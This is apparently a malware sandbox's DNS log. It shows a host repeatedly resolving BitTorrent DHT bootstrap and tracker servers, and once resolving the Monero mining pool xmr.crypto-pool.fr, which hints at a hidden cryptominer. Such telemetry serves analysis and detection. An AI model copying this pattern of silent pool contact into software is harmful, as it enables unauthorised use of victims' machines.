Aug 23, 2023 09:17:29.841536999 CEST	8.8.8.8	192.168.2.3	0x284d	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:29.871203899 CEST	8.8.8.8	192.168.2.3	0xf699	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:29.903311968 CEST	8.8.8.8	192.168.2.3	0x13b5	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:29.930710077 CEST	8.8.8.8	192.168.2.3	0xec2c	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:29.951828003 CEST	8.8.8.8	192.168.2.3	0x1f57	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:29.987606049 CEST	8.8.8.8	192.168.2.3	0xaa3b	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:17:29.987606049 CEST	8.8.8.8	192.168.2.3	0xaa3b	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:30.025981903 CEST	8.8.8.8	192.168.2.3	0x8d4	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:17:30.025981903 CEST	8.8.8.8	192.168.2.3	0x8d4	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:30.828869104 CEST	8.8.8.8	192.168.2.3	0xd41f	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:30.828869104 CEST	8.8.8.8	192.168.2.3	0xd41f	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:30.858053923 CEST	8.8.8.8	192.168.2.3	0x8989	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:30.858053923 CEST	8.8.8.8	192.168.2.3	0x8989	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:30.879575014 CEST	8.8.8.8	192.168.2.3	0x709d	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:30.900257111 CEST	8.8.8.8	192.168.2.3	0x8b11	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:30.930530071 CEST	8.8.8.8	192.168.2.3	0x4632	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:30.949310064 CEST	8.8.8.8	192.168.2.3	0x5572	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:30.970413923 CEST	8.8.8.8	192.168.2.3	0x957	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:17:30.970413923 CEST	8.8.8.8	192.168.2.3	0x957	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:31.000417948 CEST	8.8.8.8	192.168.2.3	0x1bfe	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:17:31.000417948 CEST	8.8.8.8	192.168.2.3	0x1bfe	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:31.839545965 CEST	8.8.8.8	192.168.2.3	0x86e4	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:31.839545965 CEST	8.8.8.8	192.168.2.3	0x86e4	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:31.861805916 CEST	8.8.8.8	192.168.2.3	0xa7f6	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:31.861805916 CEST	8.8.8.8	192.168.2.3	0xa7f6	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:31.885853052 CEST	8.8.8.8	192.168.2.3	0x933b	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:31.905968904 CEST	8.8.8.8	192.168.2.3	0xdc7e	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:31.950390100 CEST	8.8.8.8	192.168.2.3	0x9929	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:31.979732990 CEST	8.8.8.8	192.168.2.3	0xff4	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:32.000246048 CEST	8.8.8.8	192.168.2.3	0x53cd	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:17:32.000246048 CEST	8.8.8.8	192.168.2.3	0x53cd	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:32.035769939 CEST	8.8.8.8	192.168.2.3	0xfae4	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:17:32.035769939 CEST	8.8.8.8	192.168.2.3	0xfae4	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:33.686871052 CEST	8.8.8.8	192.168.2.3	0x206f	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:33.686871052 CEST	8.8.8.8	192.168.2.3	0x206f	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:33.707189083 CEST	8.8.8.8	192.168.2.3	0x9895	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:33.707189083 CEST	8.8.8.8	192.168.2.3	0x9895	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:33.739888906 CEST	8.8.8.8	192.168.2.3	0xc099	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:33.786812067 CEST	8.8.8.8	192.168.2.3	0x17df	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:33.814774036 CEST	8.8.8.8	192.168.2.3	0x4a6b	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:33.841846943 CEST	8.8.8.8	192.168.2.3	0xb34c	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:33.870259047 CEST	8.8.8.8	192.168.2.3	0x18f3	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:17:33.870259047 CEST	8.8.8.8	192.168.2.3	0x18f3	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:33.896576881 CEST	8.8.8.8	192.168.2.3	0x2c6c	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:17:33.896576881 CEST	8.8.8.8	192.168.2.3	0x2c6c	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:38.010356903 CEST	8.8.8.8	192.168.2.3	0x89dc	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:38.010356903 CEST	8.8.8.8	192.168.2.3	0x89dc	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:38.030247927 CEST	8.8.8.8	192.168.2.3	0xa2aa	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:38.030247927 CEST	8.8.8.8	192.168.2.3	0xa2aa	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:38.051599026 CEST	8.8.8.8	192.168.2.3	0x6bbf	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:38.078624010 CEST	8.8.8.8	192.168.2.3	0x889a	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:38.101401091 CEST	8.8.8.8	192.168.2.3	0xd139	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:38.145136118 CEST	8.8.8.8	192.168.2.3	0xc46f	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:38.168677092 CEST	8.8.8.8	192.168.2.3	0xd5a2	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:17:38.168677092 CEST	8.8.8.8	192.168.2.3	0xd5a2	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:38.190310001 CEST	8.8.8.8	192.168.2.3	0xbe0b	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:17:38.190310001 CEST	8.8.8.8	192.168.2.3	0xbe0b	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:38.464643955 CEST	8.8.8.8	192.168.2.3	0xd380	No error (0)	xmr.crypto-pool.fr		141.95.206.77	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:38.943284988 CEST	8.8.8.8	192.168.2.3	0x84f7	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:38.943284988 CEST	8.8.8.8	192.168.2.3	0x84f7	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:38.962451935 CEST	8.8.8.8	192.168.2.3	0x1ef3	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:38.962451935 CEST	8.8.8.8	192.168.2.3	0x1ef3	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:38.988856077 CEST	8.8.8.8	192.168.2.3	0xc1fe	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:39.007194996 CEST	8.8.8.8	192.168.2.3	0xe004	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:39.034307957 CEST	8.8.8.8	192.168.2.3	0x59a6	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:39.059727907 CEST	8.8.8.8	192.168.2.3	0xaad2	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:39.086293936 CEST	8.8.8.8	192.168.2.3	0xeed1	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:17:39.086293936 CEST	8.8.8.8	192.168.2.3	0xeed1	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:39.108596087 CEST	8.8.8.8	192.168.2.3	0x5e9a	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:17:39.108596087 CEST	8.8.8.8	192.168.2.3	0x5e9a	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:39.846172094 CEST	8.8.8.8	192.168.2.3	0x6fb2	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:39.846172094 CEST	8.8.8.8	192.168.2.3	0x6fb2	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:39.865752935 CEST	8.8.8.8	192.168.2.3	0xce05	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:39.865752935 CEST	8.8.8.8	192.168.2.3	0xce05	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:39.893893957 CEST	8.8.8.8	192.168.2.3	0x4550	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:39.934416056 CEST	8.8.8.8	192.168.2.3	0x3137	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:39.970938921 CEST	8.8.8.8	192.168.2.3	0x210d	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:40.004004955 CEST	8.8.8.8	192.168.2.3	0x6009	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:40.028893948 CEST	8.8.8.8	192.168.2.3	0xd9cb	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:17:40.028893948 CEST	8.8.8.8	192.168.2.3	0xd9cb	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:40.059367895 CEST	8.8.8.8	192.168.2.3	0x8377	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:17:40.059367895 CEST	8.8.8.8	192.168.2.3	0x8377	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:42.450599909 CEST	8.8.8.8	192.168.2.3	0x15ec	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:42.450599909 CEST	8.8.8.8	192.168.2.3	0x15ec	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:42.478086948 CEST	8.8.8.8	192.168.2.3	0xf83a	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:42.478086948 CEST	8.8.8.8	192.168.2.3	0xf83a	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:42.505897045 CEST	8.8.8.8	192.168.2.3	0x82a2	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:42.525706053 CEST	8.8.8.8	192.168.2.3	0x4b54	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:42.554128885 CEST	8.8.8.8	192.168.2.3	0x17c0	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:42.590039015 CEST	8.8.8.8	192.168.2.3	0x2a1	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:42.617798090 CEST	8.8.8.8	192.168.2.3	0xe575	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:17:42.617798090 CEST	8.8.8.8	192.168.2.3	0xe575	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:42.641328096 CEST	8.8.8.8	192.168.2.3	0x3fcc	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:17:42.641328096 CEST	8.8.8.8	192.168.2.3	0x3fcc	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:44.251544952 CEST	8.8.8.8	192.168.2.3	0xbccc	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:44.251544952 CEST	8.8.8.8	192.168.2.3	0xbccc	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:44.275523901 CEST	8.8.8.8	192.168.2.3	0x8b03	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:44.275523901 CEST	8.8.8.8	192.168.2.3	0x8b03	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:44.308725119 CEST	8.8.8.8	192.168.2.3	0xeb1c	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:44.352137089 CEST	8.8.8.8	192.168.2.3	0x8d0e	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:44.377234936 CEST	8.8.8.8	192.168.2.3	0x9ae	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:44.404117107 CEST	8.8.8.8	192.168.2.3	0x73a1	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:44.431993961 CEST	8.8.8.8	192.168.2.3	0x92c0	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:17:44.431993961 CEST	8.8.8.8	192.168.2.3	0x92c0	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:44.463814020 CEST	8.8.8.8	192.168.2.3	0xc2f9	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:17:44.463814020 CEST	8.8.8.8	192.168.2.3	0xc2f9	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:45.354969025 CEST	8.8.8.8	192.168.2.3	0x47e9	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:45.354969025 CEST	8.8.8.8	192.168.2.3	0x47e9	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:45.373069048 CEST	8.8.8.8	192.168.2.3	0x1b08	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:45.373069048 CEST	8.8.8.8	192.168.2.3	0x1b08	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:45.397217035 CEST	8.8.8.8	192.168.2.3	0x9777	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:45.414766073 CEST	8.8.8.8	192.168.2.3	0xcedd	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:45.434942961 CEST	8.8.8.8	192.168.2.3	0x3e9f	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:45.473838091 CEST	8.8.8.8	192.168.2.3	0x769b	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:45.502649069 CEST	8.8.8.8	192.168.2.3	0x176e	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:17:45.502649069 CEST	8.8.8.8	192.168.2.3	0x176e	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:45.523118973 CEST	8.8.8.8	192.168.2.3	0x390e	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:17:45.523118973 CEST	8.8.8.8	192.168.2.3	0x390e	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:51.771138906 CEST	8.8.8.8	192.168.2.3	0xe353	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:51.771138906 CEST	8.8.8.8	192.168.2.3	0xe353	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:51.799206018 CEST	8.8.8.8	192.168.2.3	0xb601	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:51.799206018 CEST	8.8.8.8	192.168.2.3	0xb601	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:51.831495047 CEST	8.8.8.8	192.168.2.3	0x3604	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:51.859392881 CEST	8.8.8.8	192.168.2.3	0x168f	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:51.901472092 CEST	8.8.8.8	192.168.2.3	0xc43c	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:52.100110054 CEST	8.8.8.8	192.168.2.3	0x4d70	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:52.139074087 CEST	8.8.8.8	192.168.2.3	0x8154	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:17:52.139074087 CEST	8.8.8.8	192.168.2.3	0x8154	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:52.166780949 CEST	8.8.8.8	192.168.2.3	0xb1ce	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:17:52.166780949 CEST	8.8.8.8	192.168.2.3	0xb1ce	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:52.199892998 CEST	8.8.8.8	192.168.2.3	0xcf08	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:52.199892998 CEST	8.8.8.8	192.168.2.3	0xcf08	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:52.230637074 CEST	8.8.8.8	192.168.2.3	0x9f3c	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:52.230637074 CEST	8.8.8.8	192.168.2.3	0x9f3c	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:52.255584002 CEST	8.8.8.8	192.168.2.3	0xc677	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:52.273734093 CEST	8.8.8.8	192.168.2.3	0x4d9a	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:52.294713020 CEST	8.8.8.8	192.168.2.3	0x34f1	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:52.423274994 CEST	8.8.8.8	192.168.2.3	0x284c	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:52.458312035 CEST	8.8.8.8	192.168.2.3	0x550	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:17:52.458312035 CEST	8.8.8.8	192.168.2.3	0x550	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:52.479585886 CEST	8.8.8.8	192.168.2.3	0x7aa5	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:17:52.479585886 CEST	8.8.8.8	192.168.2.3	0x7aa5	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:53.068556070 CEST	8.8.8.8	192.168.2.3	0xace5	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:53.068556070 CEST	8.8.8.8	192.168.2.3	0xace5	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:53.088735104 CEST	8.8.8.8	192.168.2.3	0x39f8	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:53.088735104 CEST	8.8.8.8	192.168.2.3	0x39f8	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:53.107475996 CEST	8.8.8.8	192.168.2.3	0xba4a	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:53.126722097 CEST	8.8.8.8	192.168.2.3	0xba19	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:53.161101103 CEST	8.8.8.8	192.168.2.3	0xe5f4	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:53.189503908 CEST	8.8.8.8	192.168.2.3	0x77d9	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:53.214917898 CEST	8.8.8.8	192.168.2.3	0xe1e2	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:17:53.214917898 CEST	8.8.8.8	192.168.2.3	0xe1e2	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:53.244879961 CEST	8.8.8.8	192.168.2.3	0x442b	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:17:53.244879961 CEST	8.8.8.8	192.168.2.3	0x442b	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:55.712856054 CEST	8.8.8.8	192.168.2.3	0xbf08	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:55.712856054 CEST	8.8.8.8	192.168.2.3	0xbf08	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:55.737656116 CEST	8.8.8.8	192.168.2.3	0x6a57	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:55.737656116 CEST	8.8.8.8	192.168.2.3	0x6a57	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:55.766829014 CEST	8.8.8.8	192.168.2.3	0xffcd	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:55.802566051 CEST	8.8.8.8	192.168.2.3	0x270	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:55.826029062 CEST	8.8.8.8	192.168.2.3	0x1b4	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:55.856858969 CEST	8.8.8.8	192.168.2.3	0xd94e	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:55.904486895 CEST	8.8.8.8	192.168.2.3	0x9688	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:17:55.904486895 CEST	8.8.8.8	192.168.2.3	0x9688	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:55.924463987 CEST	8.8.8.8	192.168.2.3	0xf9d9	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
